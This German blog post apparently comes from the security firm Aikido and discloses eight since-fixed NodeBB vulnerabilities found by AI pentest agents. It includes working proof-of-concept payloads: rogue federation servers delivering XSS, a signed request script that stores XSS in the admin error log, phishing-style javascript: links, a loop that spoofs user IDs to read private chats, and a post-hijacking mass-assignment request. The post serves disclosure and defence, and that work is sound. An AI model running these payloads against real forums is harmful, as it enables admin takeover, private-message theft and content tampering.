Aikido

Acht Schwachstellen mit hohem Schweregrad in NodeBB in sechs Stunden gefunden

Verfasst von
Jorian Woltjer

TL;DR

  • NodeBB-Versionen vor 4.14.0 enthalten mehrere schwerwiegende Schwachstellen.
  • Aktualisieren Sie auf neuere Versionen, um die Schwachstellen zu beheben.
  • Aikido wird anfällige Instanzen automatisch kennzeichnen.

Während wir unseren AI Pentest verbesserten, führten wir eine Whitebox-Analyse an NodeBB durch, einer Forum-Software, die auf NodeJS basiert. Das Ergebnis? Acht schwerwiegende Schwachstellen, die alle auf Standardinstanzen von NodeBB ausnutzbar wären. Dazu gehört Cross-Site-Scripting, wobei zwei davon eine Interaktion mit einem benutzerdefinierten Federation-Server erfordern, den der AI-Agent selbst einrichten musste. Eine weitere betrifft aufgrund einer Template-Injection praktisch jede Eingabe in NodeBB.

Abgesehen von diesen Problemen gab es geschickte Autorisierungs-Bypässe, um verschiedene Daten zu manipulieren und auszulesen, die nicht öffentlich sein sollten. Alle interessanten technischen Details haben wir unten erläutert.

Das Interessante an diesen autonomen Pentests ist, dass sie ihre Tests in nur wenigen Stunden abschließen. Agenten entwickelten Ideen, verfolgten den Code und testeten rigoros mit der realen Anwendung, um echte Ergebnisse zu melden. Menschlich durchgeführte Pentests dauern oft wesentlich länger, da sich ihre Bemühungen nicht so leicht vervielfachen lassen.

Nach der Entdeckung der Schwachstellen sandten wir umgehend einen Bericht an die Maintainer von NodeBB, die sehr schnell reagierten und sofort mit der Arbeit an Korrekturen begannen. Die Probleme wurden Anfang Juli behoben.

Wir werden uns mit den technischen Details der Schwachstellen befassen, beginnend mit einigen XSS-Schwachstellen.

Cross-Site-Scripting im Profilsymbol des benutzerdefinierten Federation-Servers

Dies ist weit entfernt von einer standardmäßigen, einfachen Reflected XSS-Injection, die den Aufbau eines kompletten benutzerdefinierten Servers erfordert, um mit einem bösartigen XSS-Payload zu antworten. Dennoch sind die von uns verwendeten Agentenmodelle hervorragend im Programmieren, sodass sie Umwege mit Leichtigkeit durchschauen und benutzerdefinierte Server programmieren, um jede Art von Befund zu testen.

Alles beginnt mit helpers.common.js, die eine ganze Reihe von problematischen HTML-Verkettungen enthält. Diejenige, auf die wir uns konzentrieren werden, ist:

function buildMetaTag(tag) {
  const name = tag.name ? 'name="' + tag.name + '" ' : '';
  const property = tag.property ? 'property="' + tag.property + '" ' : '';
  const content = tag.content ? 'content="' + tag.content.replace(/\n/g, ' ') + '" ' : '';

  return '<meta ' + name + property + content + '/>\n\t';
}

In den header.tpl, jedes metaTags Element wird mithilfe der oben genannten Funktion gerendert:

{{{each metaTags}}}{function.buildMetaTag}{{{end}}}

Benutzerdaten werden übergeben an res.locals direkt hier:

if (userData.picture) {
  res.locals.metaTags.push(
    {
      property: 'og:image',
      content: userData.picture,
      noEscape: true,
    },
    {
      property: 'og:image:url',
      content: userData.picture,
      noEscape: true,
    }
  );
}

Während einige andere Eigenschaften wie userData.fullname vorab escaped werden, indem " Zeichen in &quot, ist die andere Eigenschaft userData.picture nicht (siehe accounts/helpers.js). .picture Die URL für
/assets/uploads/profile/uid-3/3-profileavatar-1779885231799.png

Selbst wenn dieser Wert nicht ordnungsgemäß escaped wird wie der ist eine vom Benutzer hochgeladene Datei, die normalerweise auf einen sicheren String wie diesen verweist:, wie können wir ihn so steuern, dass er einen bösartigen String liefert, der ">?

Der Trick ist, dass diese URL beliebig gesetzt werden kann, wenn es um föderierte Profile geht. Das Konzept der Föderation bedeutet hier die Interaktion mit einem dezentralen Netzwerk anderer Instanzen, die ihre eigenen Benutzer und Themen haben. Daten werden praktisch 1:1 kopiert. Wenn wir also bösartige Daten mit einer URL zurückgeben können, die die zitierte HTML-Syntax escaped, sind wir dabei.

Wir müssen einen benutzerdefinierten Föderationsserver erstellen, der auf /.well-known/webfinger mit einem Verweis auf den XSS-Benutzer antwortet und dann unsere XSS-Payload als icon.url dort zurückgibt:

/.well-known/webfinger?resource=acct:xss@attacker.tld:

{
  "links": [
    {
      "href": "https://attacker.tld/ap/actor/xss",
      "rel": "self",
      "type": "application/activity+json"
    }
  ],
  "subject": "acct:xss@attacker.tld"
}

/ap/actor/xss:

{
  "@context": [
    "https://www.w3.org/ns/activitystreams",
    "https://w3id.org/security/v1"
  ],
  "icon": {
    "mediaType": "image/jpeg",
    "type": "Image",
    "url": "\"><img src onerror=\"alert(origin)\">"
  },
  "id": "https://attacker.tld/ap/actor/xss",
  "inbox": "https://attacker.tld/ap/inbox/xss",
  "preferredUsername": "xss",
  "publicKey": {
    "id": "https://attacker.tld/ap/actor/xss#main-key",
    "owner": "https://attacker.tld/ap/actor/xss",
    "publicKeyPem": "dummy"
  },
  "type": "Person"
}

Wenn dieser Server auf attacker.tldlauscht, muss ein Opfer lediglich einen Benutzer auf der bösartigen Domain suchen oder direkt einen Link dorthin besuchen:

https://nodebb.local/user/xss@attacker.tld

Das Backend ruft ab attacker.tld nach dem xss Benutzer auf /.well-known/webfinger, das referenziert /ap/actor/xss. Dies wird abgerufen, wobei die XSS-Payload zurückgegeben wird, die direkt in das <meta> Tag. Mit der "><img> Payload ermöglicht es, aus dem HTML auszubrechen und ein alert(origin) Popup mit JavaScript auszulösen:

Popup für NodeBB localhost erscheint auf einer Cloudflare-Fehlerseite

Dieses Problem wurde behoben (4c4bf76), indem auch die Informationen aus föderierten Quellen escaped wurden.

Cross-Site Scripting in der Admin-Ansicht für Föderationsfehler

Wir bleiben beim Thema Föderation, da eine weitere XSS-Schwachstelle im Fehlerprotokoll für Administratoren gefunden wurde. Es ist wichtig zu beachten, dass, obwohl nur Administratoren diese Protokolle sehen können, jeder nicht authentifizierte Angreifer die Payload speichern kann. Die Ausnutzung dieser Schwachstelle erforderte ein noch komplexeres Angreifer-Setup als beim letzten XSS, aber die Agenten haben es trotzdem herausgefunden.

Die Sink ist einfach. Innerhalb von errors.tpl, der {./id} Variable wird in das HTML eingebettet.

<code>{./id}</code>

Obwohl dies für die meisten Templating-Konfigurationen kein Problem darstellt, ist in NodeBB die Auto-Escaping-Funktionalität für Benchpress hier explizit deaktiviert, indem sie durch eine Identitätsfunktion ersetzt wird:

        __escape: identity,
    };

    function identity(str) {
        return str;
    }

NodeBB verlässt sich auf das manuelle Escaping von Variablen, die an Templates übergeben werden. Eine solche Stelle, an der dies übersehen wird, ist die id der Föderationsfehler. Und wie lösen wir einen solchen Fehler aus, fragen Sie sich vielleicht? Wir schreiben natürlich einen weiteren benutzerdefinierten Föderationsserver, aber diesmal einen, der ein wenig fehlerhaft ist.

Wir werden zunächst einen Server wie zuvor einrichten, aber, was wichtig ist, einen öffentlichen Schlüssel zum Signieren von Nachrichten generieren und bereitstellen.

/actor:

{
  "@context": "https://www.w3.org/ns/activitystreams",
  "id": "https://attacker.tld/actor",
  "type": "Person",
  "preferredUsername": "evil",
  "inbox": "https://attacker.tld/inbox",
  "publicKey": {
    "id": "https://attacker.tld/actor#main-key",
    "owner": "https://attacker.tld/actor",
    "publicKeyPem": "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2uT/87NAfA4Al+I28ddA\nGT6Uf0FbilviOOR/BDnL44MU03Dfpf8UJCCX4MiJ1nqRNfpytFZWaCLOCPWf5N2S\nbu/o7ThDUUBlXPIa3z/p/xgyKFDyRVIQBrD43fnJwmsZd213NVqd00Nca3nsZ1He\n94yCUV61rrr8wEprnaGV9NLY6shTFO1PJub22QiadLB6hSPaJJ3C8volUZICWFT+\nGnNnIzi1LqG/x2MPvFBVHNY/HKNDp2NCHjZq/9V+kteygihepqw5BjHwC1kvIhGJ\nhPGKc3tguUBdpaba5cv2Uso6glwTqAUq3XYSBq49O7vShPoncK5Yb0LZ593YtV/A\n2wIDAQAB\n-----END PUBLIC KEY-----\n"
  }
}

Fügen Sie dann einen /.well-known/webfinger Endpunkt wie zuvor hinzu, der ein beliebiges Konto zurückgibt:

/.well-known/webfinger?resource=acct%3Aevil%40attacker.tld:

{
  "subject": "acct:evil@attacker.tld",
  "links": [
    {
      "rel": "self",
      "type": "application/activity+json",
      "href": "https://attacker.tld/actor"
    }
  ]
}

Nachdem wir nun einen Server unter attacker.tld mit einem uns bekannten Schlüssel, können wir NodeBB-Updates über den /inbox Pfad. Jede type die wir senden, wird von einer spezifischen Funktion in inbox.js. Middleware verifiziert eine Signatur mittels ActivityPub.verify, die im Wesentlichen eine Reihe von Attributen aus der Anfrage nimmt und verifiziert, dass diese vom öffentlichen Schlüssel des Föderationsservers signiert sind. Da wir unseren eigenen Server erstellt haben, ist dieser Teil nun einfach.

Um einen Fehler auszulösen, können wir den ersten in inbox.update:

inbox.update = async (req) => {
  const { actor, object } = req.body;
  const isPublic = publiclyAddressed([...(object.to || []), ...(object.cc || [])]);

  // Origin checking
  const actorHostname = new URL(actor).hostname;
  const objectHostname = new URL(object.id).hostname;
  if (actorHostname !== objectHostname) {
    throw new Error('[[error:activitypub.origin-mismatch]]');
  }

[[error:activitypub.origin-mismatch]] tritt auf, wenn der/die actor und object.id aus unserer Anfrage nicht übereinstimmen. Das können wir leicht fälschen.
Wichtig ist, dass der/die id den wir bereitstellen, mit dem Fehler gespeichert wird und, wie wir gelernt haben, unsicher als HTML im Admin-Panel angezeigt wird. Daher werden wir diesen auf eine XSS-Payload wie <img src onerror=alert(origin)>.

Das finale Skript sieht so aus:

# Craft payload
payload = {
    '@context': 'https://www.w3.org/ns/activitystreams',
    'id': '<img src onerror=alert(origin)>',
    'type': 'Update',
    'actor': f'https://attacker.tld/actor',
    'object': {
        # Different origin than actor to trigger an error path
        'id': 'https://nodebb.local/post/1',
        'type': 'Note'
    },
    'to': ['https://www.w3.org/ns/activitystreams#Public']
}

# Build signature
key_id = f'https://attacker.tld/actor#main-key'
inbox_url = 'https://nodebb.local/inbox'
u = urlparse(inbox_url)
date = datetime.now(timezone.utc).strftime('%a, %d %b %Y %H:%M:%S GMT')
signed = f'(request-target): post {u.path}\nhost: {u.netloc}\ndate: {date}'
sig = base64.b64encode(priv.sign(signed.encode(), padding.PKCS1v15(), hashes.SHA256())).decode()
headers = {
    'Host': u.netloc,
    'Date': date,
    'Signature': f'keyId="{key_id}",headers="(request-target) host date",signature="{sig}",algorithm="hs2019"',
    'Accept': 'application/activity+json',
    'Content-Type': 'application/ld+json;profile="https://www.w3.org/ns/activitystreams"',
}

# Send request
r = requests.post(inbox_url, headers=headers, data=json.dumps(payload), timeout=30, verify=False)
print('Status:', r.status_code)
print(r.text[:200])

Nach dem Senden dieser Payload sollte es den benutzerdefinierten Server des Angreifers abrufen, um die Signatur zu verifizieren, dann den referenzierten Actor. Da die Ursprünge von actor und object.id in der Payload abweichen, wird ein Fehler ausgelöst und ein Eintrag auf der Seite „Federation Errors“ im Admin-Panel erstellt.

Wenn ein Administrator nun diese Seite besucht, um nach Fehlern zu suchen, wird er mit einer JavaScript-Alert-Box begrüßt, weil unser bösartiges <img> Tag als echtes HTML zwischen den <code>:

Von hier aus kann ein Angreifer die gesamte NodeBB-Instanz übernehmen, da JavaScript einen Administrator dazu bringen kann, alles zu tun.

Dieses Problem wurde behoben (16bda6b), indem alle in den Federation Errors angezeigten Felder escaped wurden.

Cross-Site Scripting durch Template-Injection in Übersetzungen

Die letzte gefundene XSS-Schwachstelle war eine weitere interessante. Sie hängt damit zusammen, wie Templates gerendert werden. Um einen Body zurückzugeben, durchläuft NodeBB im Wesentlichen diese beiden Schritte (definiert in render.js):

  1. Benchpress-Template mit Eingabevariablen rendern (Syntax: {...})
  2. Übersetzungs-Keys interpretieren (Syntax: [[...]])
function renderContent(render, tpl, req, res, options) {
  return new Promise((resolve, reject) => {
    render.call(res, tpl, options, async (err, str) => {
      if (err) reject(err);
      else resolve(await translate(str, getLang(req, res)));
    });
  });
}

Was mit Benchpress schiefgehen kann, haben wir bereits in der vorherigen Schwachstelle gesehen. Nun konzentrieren wir uns auf die translate() Funktion, die entscheidend nachdem unsere Eingabe in das Template gerendert wurde, erfolgt.

Die Schwachstelle beginnt bereits hier. Da unsere Eingabe bereits in str angelangt ist, wenn Übersetzungen darüber ausgeführt werden, würde sie interpretiert, wenn wir die gleiche [[...]] Syntax schreiben können. [ oder ] werden nicht als Sonderzeichen behandelt von escapeCharMap in utils.common.js, nur &<>"'`= werden.

Tatsächlich jede Seite spiegelt die URL in einer <meta property="og:url"> Eigenschaft wider. Wir können einen Übersetzungs-Key in genau diese Eigenschaft injizieren, um das Ergebnis zu sehen. Übersetzungs-Keys werden pro Namespace gespeichert, zum Beispiel, topic.json enthält "flag-user": "Flag this user". Wenn wir darauf verweisen:

https://nodebb.local/test[[topic:flag-user]]

<meta property="og:url" content="https://nodebb.local/testFlag this user" />

Es wurde erfolgreich interpretiert. Einige Nachrichten sind komplexer und enthalten Platzhalter mit %1 und %2, die wir über Komma-Argumente steuern können. Zum Beispiel:

"merged-message": "This topic has been merged into <a href=\"%1\">%2</a>"

Etwas Interessantes wird passieren, da die Übersetzung " (um die href) zu definieren, während der Kontext, in den wir es injizieren, kein Text, sondern ein Meta- content= Attribut ist, das ebenfalls doppelte Anführungszeichen zur Wertbegrenzung verwendet.

https://nodebb.local/test[[topic:merged-message,A,B]]

<meta property="og:url" content="https://nodebb.local/testThis topic has been merged into <a href="A">B</a>" />

An der Syntaxhervorhebung können Sie erkennen, dass das, was früher das öffnende Anführungszeichen für href=, war, jetzt das schließende Anführungszeichen für content=ist. Das bedeutet, beginnend bei unserem A, befinden wir uns in einem Attributdefinitionskontext und können diesem Tag beliebige Attribute hinzufügen!

Wenn wir jedoch einfach A mit onerror=alert(), ersetzen, sehen wir einen traurigen Anblick:

<meta property="og:url" content="https://nodebb.local/testThis topic has been merged into <a href="onerror&#x3D;alert()">B</a>" />

Obwohl das Attribut durchgereicht zu werden scheint, hat sich das Gleichheitszeichen (=) in &#x3D;verwandelt. Erinnern Sie sich? In escapeCharMapwird das Gleichheitszeichen als Sonderzeichen betrachtet und im Output immer HTML-escaped. Daher können wir keine Werte zu Attributen hinzufügen, um diese Injection in XSS zu verwandeln.

Es ist jedoch noch nicht alle Hoffnung verloren, da die von uns verwendete Vorlage, merged-message, platziert unseren ersten Parameter (A) direkt in das href= dieses <a> Tag. Mit einem javascript: URI ist es immer noch möglich, beliebiges JavaScript beim Klicken auszuführen. Wir müssen dies lediglich nach unserem ersten Escape des Attributs tun, indem wir einen weiteren Template-Tag hinzufügen:

https://nodebb.local/test[[topic:merged-message,A,B]][[topic:merged-message,javascript:alert(origin),CLICK%20ME]]

<meta property="og:url" content="http://4.245.3.4:4567/testThis topic has been merged into <a href="A">B</a>This topic has been merged into <a href="alert(origin)">CLICK&#37;20ME</a>" />

Visuell gibt es jetzt einen Header auf der Seite mit dem Text CLICK%20ME. Beim Klicken wird das JavaScript ausgeführt und alert(origin) wird angezeigt:

Wir haben den PoC gerade an der am einfachsten zu testenden Reflexion, der URL selbst, nachgewiesen. Dies funktioniert jedoch in jeder von NodeBB generierten Ausgabe. In der URL sind wir auf URL-kodierte Zeichen wie %20. /flags?quick= Endpoint ist der Wert von quick wird ebenfalls reflektiert, aber URL-dekodiert!

Um den PoC abzuschließen, können wir ihn realistischer gestalten, indem wir Emojis verwenden, die wie offizielle Icons aussehen, und den Benutzer mit einer Meldung „⚠️ Update erforderlich“ zur Aktualisierung auffordern:

https://nodebb.local/flags?quick=]][[topic:merged-message,javascript:alert(origin),%E2%9A%A0%EF%B8%8FUpdate%20required

<span class="filter-label">filter-quick-This topic has been merged into <a href="javascript:alert(origin)">⚠️Update required</a></span>

Erneut würde das Klicken des Buttons beliebiges JavaScript auslösen. Dies war der ursprüngliche Proof of Concept, den der Agent zur Meldung des Problems verwendete.

Der Payload kann sogar in Beiträgen auf NodeBB gespeichert werden, wodurch er leicht mit anderen Benutzern geteilt werden kann. Das zugrunde liegende Problem ist, dass alle gerenderten Inhalte einen Übersetzungslauf durchlaufen, bei dem Benutzereingaben dieselbe Syntax schreiben können.

Die Behebung dieses Problems war komplizierter. Wie wir gesehen haben, handelt es sich eher um ein Designproblem als um einen spezifischen Fehler an einer bestimmten Stelle. Denn Übersetzungen erfolgen immer nach dem Template-Rendering, und Übersetzungszeichen sind im Template erlaubt.

Die naive Lösung wäre, HTML-Escape-Zeichen zu verwenden für [ und ] Zeichen, um sicherzustellen, dass sie nicht als Übersetzungen interpretiert werden. Es stellte sich jedoch heraus, dass einige Features/Plugins tatsächlich require Übersetzungssequenzen aus Template-Variablen rendern können. Dies wäre eine Breaking Change.

Für den ersten Fix versuchte NodeBB, jede Stelle, an der Benutzereingaben reflektiert werden, manuell mit translator.escape()zu escapen. Dies ist jedoch nicht vollständig, daher haben sie viel Arbeit investiert um das Übersetzungssystem zu refaktorisieren, damit es automatisch escaped werden kann und Features/Plugins den Breaking Change korrekt handhaben können. Dies ist nun in Version 4.14.0 implementiert.

Als zusätzliche Verteidigung wird der HTML-Code, der aus den Übersetzungsfunktionen kommt, wird jetzt auch bereinigt, sodass selbst wenn ein Angreifer den Text kontrolliert, keine geschrieben werden können javascript: hrefs.

Umgehung der Admin-Autorisierungs-Middleware durch eine benutzerdefinierte Startseite

Dies ist ein einfacher, aber cleverer Fall. Wenn wir uns die Middleware von NodeBB ansehen, finden wir dieses Snippet, das für die Autorisierung von /admin Routen innerhalb von middleware/admin.js:

middleware.checkPrivileges = helpers.try(async (req, res, next) => {
  // Kick out guests, obviously
  if (req.uid <= 0) {
    return controllers.helpers.notAllowed(req, res);
  }

  // Otherwise, check for privilege based on page (if not in mapping, deny access)
  const path = req.path.replace(/^(\/api)?(\/v3)?\/admin\/?/g, '');
  if (path) {
    const privilege = privileges.admin.resolve(path);
    if (!await privileges.admin.can(privilege, req.uid)) {
      return controllers.helpers.notAllowed(req, res);
    }
  } else {
    // If accessing /admin, check for any valid admin privs
    const privilegeSet = await privileges.admin.get(req.uid);
    if (!Object.values(privilegeSet).some(Boolean)) {
      return controllers.helpers.notAllowed(req, res);
    }
  }

Auf den ersten Blick scheint alles korrekt zu sein. Wenn privileged.admin.get() nichts zurückgibt, ist der Zugriff nicht gestattet. Der entscheidende Punkt ist, dass diese Middleware für die /admin Route bevor Umgang mit benutzerdefinierten Homepage-Rewrites in routes/index.js:

router.all(`(/+api/admin|/+api/admin/*?${mounts.admin !== 'admin' ? `|/+api/${mounts.admin}|/+api/${mounts.admin}/*?` : ''})`, middleware.authenticateRequest, middleware.ensureLoggedIn, middleware.admin.checkPrivileges);
router.all(`(/+admin|/+admin/*?${mounts.admin !== 'admin' ? `|/+${mounts.admin}|/+${mounts.admin}/*?` : ''})`, middleware.ensureLoggedIn, middleware.applyCSRF, middleware.admin.checkPrivileges);

// handle custom homepage routes
router.use('/', controllers.home.rewrite);

Jeder Benutzer kann seine Startseite als Feature so konfigurieren, dass sie auf eine andere URL umgeschrieben wird. Dies wird durch eine andere Middleware implementiert, die bei /. Intern wird req.url gesetzt, um den konfigurierten Wert widerzuspiegeln:

async function rewrite(req, res, next) {  if (req.path !== '/' && req.path !== '/api/' && req.path !== '/api') {
    return next();
  }
  ...
  route = await getUserHomeRoute(req.uid, next);  parsedUrl = new URL(route, 'http://localhost.com');  const pathname = parsedUrl.pathname.replace(/^\/+/, '');  req.url = req.path + (!req.path.endsWith('/') ? '/' : '') + pathname;  ...  next();


next()
wird aufgerufen, um die tatsächliche Route weiter zu suchen, aber dies ist jetzt nachdem die Überprüfungen des Admin-Pfads bereits durchgeführt wurden.

Das bedeutet, wenn Sie Ihre benutzerdefinierte Startseite auf /admin, sehen Sie das Admin-Dashboard, selbst als reguläres Mitglied. Kein Admin-Zugriff erforderlich.

Das Einzige, was uns „blockiert“, ist clientseitiger Code, der den konfigurierten Wert abruft, wenn Sie versuchen, ihn zu speichern, bevor die Einstellungen tatsächlich an den Server gesendet werden:

$.get(config.relative_path + '/' + settings.homePageCustom, function () {
  saveSettings(settings);
}).fail(function () {
  alerts.error('[[error:invalid-home-page-route]]');
});

Diese Prüfung lässt sich leicht umgehen, indem direkt eine PUT /api/v3/users/:id/settings Anfrage gesendet oder ein Breakpoint im Browser verwendet wird, um die Prüfung zu überspringen und saveSettings() direkt aufzurufen.
Nachdem wir es auf admin/advanced/cache, zum Beispiel, gesetzt haben, können wir die / Seite neu laden und eine Menge interner Informationen sehen, die für Administratoren bestimmt sind:

Sogar APIs sind über /api/admin, jedoch sind die meisten APIs zum tatsächlichen Bearbeiten von Daten laufen über /api/v3/admin. Dies sind die „Write“-Routen, die zusätzliche Berechtigungsprüfungen innerhalb des Handlers jeder Route aufweisen. Sie sind daher nicht anfällig für diesen Angriff.
Dennoch führt dies zu einer erheblichen Datenexposition/-modifikation:

  • GET /api/admin/users/csv: Export aller Benutzer als CSV, falls vorhanden. Die Spalten hängen davon ab, was der letzte Admin-Export ausgewählt hat.
  • GET /api/admin/advanced/errors: Alle Fehlerprotokolle lesen
  • POST /api/admin/manage/categories: Remote-Kategorie zur Sidebar-Liste hinzufügen
  • POST /api/admin/uploadlogo: Website-Logo aktualisieren

Dieses Problem wurde behoben (9885f94) durch Neuanordnung der Middleware, um Berechtigungsprüfungen nach dem Rewriting durchzuführen.

Spoofing der Benutzer-ID zum Lesen privater Nachrichten

Um mit anderen sozialen Netzwerken zu kommunizieren, implementiert NodeBB ActivityPub, was ein Protokoll zum Teilen von Benutzern/Inhalten über Instanzen hinweg ist. Dies wird kryptografisch sicher gemacht, indem jedem Benutzer ein öffentlicher Schlüssel gegeben wird, mit dem Aktionen signiert werden können. In Anfragen wird ein Signatur: Header mit Attributen wie keyId und signature.

Der ActivityPub.verify Funktion diese korrekt validiert:

ActivityPub.verify = async (req) => {
  ...
  let { keyId, headers, signature, algorithm, created, expires } = req.headers.signature.split(',').reduce((memo, cur) => {
    const split = cur.split('="');
    const key = split.shift();
    const value = split.join('="');
    memo[key] = value.slice(0, -1);
    return memo;
  }, {});
  const signed_string = headers.split(' ').reduce((memo, cur) => {
     ...  }, []).join('\n');
  const publicKeyPem = await ActivityPub.fetchPublicKey(keyId);

  return await verifyAsync('sha256', Buffer.from(signed_string), publicKeyPem, Buffer.from(signature, 'base64'));

Wenn wir uns ansehen, wo diese Funktion verwendet wird, sehen wir nur ihre Platzierung in der activitypub.js Middleware hier:

middleware.verify = async function (req, res, next) {
  // Verifies the HTTP Signature if present (required for POST)
  const passthrough = [/\/actor/, /\/uid\/\d+/];
  if (req.method === 'GET' && passthrough.some(regex => regex.test(req.path))) {
    return next();
  }

  if (req.method === 'POST') {
    const verified = await activitypub.verify(req);    if (!verified) {
      return res.sendStatus(400);
    }
  }

  if (req.headers.signature) {
    const keyId = req.headers.signature.split(',').filter(line => line.startsWith('keyId="'));
    if (keyId.length) {
      req.uid = keyId.shift().slice(7, -1).replace(/#.*$/, '');

Interessanterweise läuft sie nur activitypub.verify(req) wenn die req.method === 'POST'! GET-Anfragen werden aus irgendeinem Grund nicht auf ihre Signatur überprüft. Welche Endpunkte können wir damit erreichen?

Es gibt wirklich nur einen Endpunkt, der req.uid zur Authentifizierung verwendet, und das ist GET /message/:mid. In middleware/assert.js lesen wir:

!(await messaging.canViewMessage(req.params.mid, roomId || req.params.roomId, req.uid))

Dieser Endpunkt ruft private Nachrichten von req.params.mid:

Actors.message = async function (req, res) {
  ...
  const messageObj = await messaging.getMessageFields(req.params.mid, []);
  messageObj.content = await messaging.parse(messageObj.content, messageObj.fromuid, 0, messageObj.roomId, false);
  const payload = await activitypub.mocks.notes.private({ messageObj });
  res.status(200).json(payload);
};

Jetzt haben wir das Gesamtbild. Der Signatur: Header wird nur für POST-Anfragen verifiziert, daher verifiziert der GET /message/:mid Endpunkt das keyId= Attribut nicht. Damit können wir uns als jede Person ausgeben und die inkrementellen Nachrichten-IDs einzeln leaken, um private Chats vollständig zu kompromittieren.

# Fetch all users
users = requests.get(f'{HOST}/api/users', timeout=10).json().get('users', [])
users = [(u['uid'], u.get('username', '?')) for u in users]
print(f'Found {len(users)} users')

# Fetch all message IDs for each user
for mid in tqdm(range(1, 80)):
    for uid, name in users:
        headers = {
            'Accept': 'application/activity+json',
            'Signature': f'keyId="{uid}"',
        }
        r = requests.get(f'{HOST}/message/{mid}', headers=headers, timeout=10)
        if r.ok:
            j = r.json()
            content = j.get("content", "")[:80].strip()
            tqdm.write(f'Impersonating {name} ({uid}) -> message {mid}: {content}')

Dieses Problem wurde behoben (f6b5cd8) indem nur req.uid in einem Code-Branch gesetzt wird, wo activitypub.verify() den Signature-Header bereits verifiziert hat.

Hijacking von Posts mit pid Mass Assignment

Bei all diesen JSON-Bodies sind Mass Assignment Bugs vorprogrammiert, und genau danach suchte der Agent als Nächstes. Falls Sie mit diesem Bug-Typ nicht vertraut sind: Es geht darum, interne Felder zu Ihrer Anfrage hinzuzufügen, um diese zu überschreiben, ohne dass die Webanwendung dies beabsichtigt.
Dies geschieht oft, wenn ein kompletter Request Body geparst und in die Datenbank geschrieben wird. Gibt es in dieser Codebasis ähnliche Muster?

Hier im POST /api/v3/topics-Endpunkt lesen wir:

Topics.create = async (req, res) => {
  const id = await lockPosting(req, '[[error:already-posting]]');
  try {
    const payload = await api.topics.create(req, req.body);

Es tut genau das, wonach wir suchen, indem es übergibt req.body in topicsAPI.create(). Die Implementierung ruft später auf Posts.create welches dem übergebenen data.pid:

const pid = data.pid || await db.incrObjectField('global', 'nextPid');
let postData = { pid, uid, tid, content, sourceContent, timestamp };

Der pid Eigenschaft ist die Post-ID, eindeutig, sodass jeder Beitrag über diese Nummer gefunden werden kann. Beachten Sie, dass dies sich geringfügig von einem topic, da ein Topic mehrere Beiträge (Antworten) enthalten kann.
Der allererste Beitrag auf jedem NodeBB ist immer ein „Willkommen in Ihrem NodeBB!“-Beitrag vom Admin:

Ein NodeBB-Forum. Es gibt eine Willkommensnachricht von einem Benutzer namens Admin, die besagt: „Willkommen in Ihrem brandneuen NodeBB-Forum“ mit zusätzlichem Boilerplate-Text von NodeBB

Seine ID ist immer 1, und neue Beiträge werden von dort aus inkrementiert. Was würde passieren, wenn wir einen new Beitrag erstellen, der ebenfalls pid: 1? Probieren wir es aus!

POST /api/v3/topics HTTP/1.1
Host: nodebb.local
x-csrf-token: 77a...65b
Cookie: express.sid=s%3A...
Content-Length: 133
Content-Type: application/json

{
    "title": "title",
    "content": "OVERWRITTEN BY ATTACKER",
    "cid": 2,
    "tags": [],
    "thumbs": [],
    "timestamp": 0,
    "pid": 1
}

Zurück zum Willkommensbeitrag:

Der erste Kommentar auf der Willkommensseite wird nun vom Benutzer pentest_member gepostet

Wir haben den Beitrag gekapert! Aber der Inhalt scheint noch nicht aktualisiert zu sein. Da wir ihn jetzt besitzen, können wir ihn einfach schnell bearbeiten und erneut speichern, um den Inhalt tatsächlich zu aktualisieren:

Auf der Willkommensseite hat sich die Willkommensnachricht in „OVERWRITTEN BY ATTACKER“ geändert

Die URL ist immer noch dieselbe, und jeder, der zu diesem Beitrag zurückkehrt, sieht den neuen Inhalt des Angreifers. In Kombination mit einem täuschend ähnlichen Konto kann dies sehr wirkungsvoll sein, um Inhalte zu manipulieren, wie das Ändern bösartiger Befehle zum Kopieren in einem Tutorial.

Dieses Problem wurde behoben (7f08fb9) durch Löschen der pid Eigenschaft aus dem Request-Body, damit es das interne Feld nicht mehr überschreiben kann.

Alle Kategorien ohne Authentifizierung lesen

This might be the easiest vulnerability in this post. It can be summarized as one sentence: "/category/{cid}/outbox is missing authorization when ActivityPub accept header is set".

Es ist wirklich so einfach. Die Route /category/:cid/outbox wird von der folgenden Funktion verarbeitet, die keine Autorisierungsprüfungen durchführt, aber alle Themen in einer bestimmten Kategorie (einschließlich privater) zurückgibt, referenziert durch eine inkrementelle cid.

Controller.getCategoryOutbox = async (req, res) => {
  const { cid } = req.params;
  const { page } = req.query;
  const set = `cid:${cid}:pids`;
  const count = await db.sortedSetCard(set);
  const collection = await activitypub.helpers.generateCollection({
    set,
    count,
    page,
    perPage: 20,
    url: `${nconf.get('url')}/category/${cid}/outbox`,
  });
	...
  res.status(200).json({
    '@context': 'https://www.w3.org/ns/activitystreams',
    ...collection,
  });
};

Eine einfache GET-Anfrage an /category/2/outbox mit einem Accept: application/activity+json Header, um ActivityPub auszulösen, gibt eine ungefilterte Liste aller Beiträge unter dieser Kategorie-ID zurück. Hier ist eine private Kategorie, die wir erstellt haben und auf die nur Administratoren Zugriff haben:

Ohne Authentifizierung kann folgender Inhalt abgerufen werden:

{
  "@context": "https://www.w3.org/ns/activitystreams",
  "type": "OrderedCollection",
  "totalItems": 2,
  "orderedItems": [
    {
      "object": {
        "object": {
          ...
          "name": "secret content",
          "url": "https://nodebb.local/post/2",
          "content": "<p>SUPER SECRET CONTENT</p>\n"
    }}},
    {
      "object": {
        "object": {
          ...
          "inReplyTo": "http://4.245.3.4:4567/post/2",
          "name": "secret content",
          "url": "https://nodebb.local/post/3",
          "content": "<p>replies too!</p>\n"
        }

Dieses Problem wurde behoben (8e98325) durch Hinzufügen einer topics:read Berechtigungsprüfung zur Outbox-Route.

Upvote-Inflation durch ungeprüften Akteur

Dieser letzte Punkt ist eher ein lustiger, könnte aber für Spam oder Manipulation missbraucht werden. Einer der Agenten fand einen Weg, einen Beitrag unendlich oft zu upvoten! (Apropos unendlich… Schauen Sie sich Aikido Infinite kontinuierliches Penetrationstesten an! ;) )

Es gibt 2 Möglichkeiten, einen Beitrag zu upvoten („Like“ in ActivityPub):

  1. Direkt über /inbox oder /uid/:uid/inbox, verifiziert mit der Signature keyId
  2. Eingebettet in eine „Announce“-Nachricht über /category/:cid/inbox

In einer solchen Nachricht stellen Sie einen actor die die Person repräsentiert, die die Aktion ausgeführt hat. Die Middleware autorisiert diesen Akteur über den Signature-Header- keyId, genauer gesagt das req.body.actor Feld:

